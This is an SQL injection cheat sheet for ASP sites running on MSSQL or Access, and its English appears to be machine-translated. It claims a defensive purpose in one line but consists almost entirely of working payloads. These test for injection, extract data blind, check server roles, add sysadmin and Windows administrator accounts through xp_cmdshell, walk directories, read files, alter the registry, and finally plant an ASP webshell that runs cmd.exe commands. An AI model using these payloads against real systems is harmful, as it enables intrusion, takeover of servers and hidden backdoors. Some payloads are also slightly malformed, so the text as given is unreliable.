ASP Common Injection techniques

Learning to inject skills is also a good thing, the enemy. Can be more effective to prevent injection, so that the site more secure

1. To determine whether there is injection
; and 1=1
; and 1=2

2. Preliminary Determination of MSSQL
; and user>0

3. Injection parameters are characters
' and [query conditions] and ' = '

4. No filter parameters during the search
' and [query conditions] and '%25 ' = '

5. Judge the database system
; and (select COUNT (*) from sysobjects) >0 MSSQL
; and (select COUNT (*) from msysobjects) >0 access

6. Guessing database
; and (Select Count (*) from [database name]) >0

7. Guess the field
; and (Select Count (field name) from database name) >0

8. Guess the length of the record in the field
; and (select top 1 len (field name) from database name) >0

9. (1) Guess the ASCII value of the field (access)
; and (select top 1 ASC (Mid (field name, 1,1)) from database name) >0

(2) Guessing the ASCII value of the field (MSSQL)
; and (select top 1 Unicode (substring (field name, 1,1)) from database name >0

10. Test permission structure (MSSQL)
; and 1= (SELECT is_srvrolemember (' sysadmin '));--
; and 1= (SELECT is_srvrolemember (' serveradmin '));--
; and 1= (SELECT is_srvrolemember (' setupadmin '));--
; and 1= (SELECT is_srvrolemember (' securityadmin '));--
; and 1= (SELECT is_srvrolemember (' diskadmin '));--
; and 1= (SELECT is_srvrolemember (' bulkadmin '));--
; and 1= (SELECT is_member (' db_owner '));--

11. Add the MSSQL and system account
; exec master.dbo.sp_addlogin username;--
; exec Master.dbo.sp_password null,username,password;--
; exec master.dbo.sp_addsrvrolemember SysAdmin username;--
; Exec master.dbo.xp_cmdshell ' net user username password/workstations:*/times:all/passwordchg:yes/passwordreq:yes/ Active:yes/add ';--
; Exec master.dbo.xp_cmdshell ' net user username Password/add ';--
; exec master.dbo.xp_cmdshell ' net localgroup Administrators Username/add ';--

12. (1) Traverse directory
; Create table dirs (paths varchar (), id int)
; Insert dirs exec master.dbo.xp_dirtree ' C:\ '
; and (select top 1 paths from dirs) >0
; and (select top 1 paths from dirs where paths is not in (' Paths ')) >)

(2) Traverse directory
CREATE table temp (ID nvarchar (255), Num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255));--
; Insert temp exec master.dbo.xp_availablemedia;--get all current drives
; INSERT into temp (ID) Exec master.dbo.xp_subdirs ' c:\ ';--Get a subdirectory list
; INSERT into temp (ID,NUM1) exec master.dbo.xp_dirtree ' c:\ ';--Get the directory tree structure of all subdirectories
; INSERT into temp (ID) Exec master.dbo.xp_cmdshell ' type c:\web\index.asp ';--View the contents of a file

Stored Procedures in 13.mssql
Xp_regenumvalues registry root Key, subkey
; exec xp_regenumvalues ' HKEY_LOCAL_MACHINE ', ' SOFTWARE\Microsoft\Windows\CurrentVersion\Run ' returns all key values in more than one recordset
Xp_regread root key, subkey, key value name
; exec xp_regread ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' CommonFilesDir ' returns the value of the set key
Xp_regwrite root key, subkey, value name, value type, value
A value type has 2 REG_SZ representing a character type, REG_DWORD representing an integral type
; exec xp_regwrite ' HKEY_LOCAL_MACHINE ', ' Software\microsoft\windows\currentversion ',
' Testvaluename ', ' REG_SZ ', ' hello ' written to the registry
Xp_regdeletevalue root key, subkey, Value name
EXEC xp_regdeletevalue ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' TestValueName ' deletes a value
Xp_regdeletekey ' HKEY_LOCAL_MACHINE ', ' Software\microsoft\windows\currentversion\testkey ' delete key, including all values under the key

14.mssql Backup to create Webshell
Use model
CREATE table cmd (str image);
INSERT into cmd (str) VALUES (' <% Dim oscript%> ');
Backup Database model to disk= ' c:\l.asp ';

15.mssql built-in function
; and (select @ @version) >0 Gets the version number of Windows
; and user_name () = ' dbo ' Determines whether the current system's connected user is an SA
; and (select USER_NAME ()) >0 The connection user of the current system
; and (select Db_name ()) >0 get the database that is currently connected



16. The Concise Webshell
Use model
CREATE table cmd (str image);
INSERT into cmd (str) VALUES (' <%=server.createobject ("Wscript.Shell"). EXEC ("cmd.exe/c" &request ("C")). Stdout.readall%> ');
Backup Database model to disk= ' g:\wwwtest\l.asp '